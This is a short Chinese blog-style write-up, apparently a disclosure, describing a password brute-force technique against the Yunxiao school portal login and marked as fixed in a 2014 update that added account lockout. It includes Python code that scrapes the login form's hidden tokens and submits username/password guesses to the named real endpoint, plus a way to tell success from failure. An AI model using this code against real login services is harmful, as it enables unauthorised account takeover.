云校密码爆破#2(已修复)
2014.12.23更新:云校新功能:登录失败次数过多后将账号冻结30分钟,导致已无法利用
注:文中代码均使用Python语言
云校在将登录改为https的同时,也把登录表单改了一下,每回表单中的隐藏域lt和execution都会变,并且看样子都是随机数。但是检查一下cookie后发现,貌似验证cookie没关系,可以试试每次发请求后读取隐藏域lt和execution一次。
首先发空请求并读取隐藏域
url = "https://passport.yunxiao.com:8445/login?service=http://bnds.joyschool.cn/Portal/LayoutD/CasLogin.aspx?ax=1" request = urllib2.Request(url) response = urllib2.urlopen(request) content = response.read() pattern = re.compile(r'.*?<input type="hidden" name="lt" value="(?P<lt>[^<>].*?)" />.*?<input type="hidden" name="execution" value="(?P<execution>[^<>].*?)" />.*?"',re.I|re.S) match = pattern.match(content) lt = match.group('lt') execution = match.group('execution')
之后根据读取的隐藏域构建一个服务器接受的请求
data = "username=" + username + "&domain=bnds&password=" + password + "<=" + lt +"&execution=" + execution + "&_eventId=submit&submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95" request = urllib2.Request(url) response = urllib2.urlopen(request, data=data) content2 = response.read() pattern = re.compile(r'.*?<input type="hidden" name="lt" value="(?P<lt>[^<>].*?)" />.*?<input type="hidden" name="execution" value="(?P<execution>[^<>].*?)" />.*?"',re.I|re.S) match = pattern.match(content2) lt = match.group('lt') execution = match.group('execution') pattern = re.compile(r'.*?<form id="form1" action="(?P<url>[^<>].*?)" method="post">.*?',re.I|re.S) match = pattern.match(content2)
之后发现提交的密码是正确的也会返回登录界面,但是仔细观察后发现,和一开始登录的表单有一个区别,就是表单的action变了,后面加上了cookie
再读取一下隐藏域和action之后重新提交,如果密码正确的话会返回
由于没有验证码,所以可以暴力破解。
判断是否存在/Portal/LayoutD/Login.aspx即可